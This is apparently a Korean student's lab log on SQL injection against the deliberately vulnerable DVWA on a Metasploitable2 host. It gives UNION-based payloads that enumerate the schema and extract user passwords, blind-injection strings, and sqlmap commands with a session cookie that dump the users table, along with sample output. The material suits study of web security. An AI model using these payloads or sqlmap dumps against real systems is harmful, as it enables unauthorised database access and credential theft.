웹 해킹 14

[2024.08.02]

[SQL Injection]

> 사용자 출력

"select first_name,last_name from users where user_id='union select null,user()#';";

> 데이터베이스, 버전

"select first_name,last_name from users where user_id='union select database(),version()#';";

> 테이블

'and 1 = 1 union select table_schema,table_name from information_schema.tables #

> 필드

' and 1=1 union select table_schema,column_name from information_schema.columns where table_name='users'#

> 필드(데이터)

' and 1=1 union select first_name,password from dvwa.users #

' and 1=1 union select first_name,last_name,password from dvwa.users #

연습) 다같이 합친 상태로 출력

"select first_name,last_name from users where user_id="'and 1 = 1 union select table_schema,table_name from information_schema.tables #';";

> 필드(데이터)

' and 1=1 union select first_name,last_name from dvwa.users #

*sql에서 띄어쓰기는 상관없는 점 참고

오늘도 Security level을 low로 설정하고 시작한다

먼저 개별 쿼리문을 작성하여 사용자 출력부터 시도한다

성공하게 된다면 화면과 같이 출력이 된다

이번에는 데이터베이스와 버전을 출력했다

확인을 위해 metasploitable2에서 mysql의 버전을 확인하게 되면,

5.0.51a로 같은 버전인 것을 확인할 수 있다

마지막으로 테이블을 출력해 봤다

테이블 쿼리문에서는 information_schema가 db 정보, tables가 테이블이다

현재 출력된 걸 살펴보면 schema라는 전체적인 데이터베이스 안에

데이터베이스 정보와 테이블이 출력되는 것이다

두 개 이상의 필드가 출력되지 않아 컬럼 수를 줄이고 두 개의 필드만 출력하여 확인이 가능하다

[SQL Injection(Blind)]

' or '1' #

' or '0'='0' #

' or '1'='1' #

> 사용 도구: sqlmap

> DBMS 정보

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#"

ex)

[21:34:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8, PHP
back-end DBMS: MySQL >= 5.0.12
[21:34:53] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.10.52'

> Database 정보 추출(현재 DB 알아내기)

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2bbf3e52ebf199cd6be8a8c46d417c52" --current-db

ex)

[21:37:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 5.0.12
[21:37:30] [INFO] fetching current database
current database: 'dvwa'
[21:37:30] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.10.52'

> 필드 정보 추출

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2bbf3e52ebf199cd6be8a8c46d417c52" -D dvwa --tables

ex)

[21:38:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[21:38:12] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+

[21:38:12] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.10.52'

> 필드 정보 추출

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2bbf3e52ebf199cd6be8a8c46d417c52" -D dvwa -T users --columns

ex)

> Data 덤프

# sqlmap -u "http://192.168.10.52/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2bbf3e52ebf199cd6be8a8c46d417c52" -D dvwa -T users -C user_id,password --dump

ex)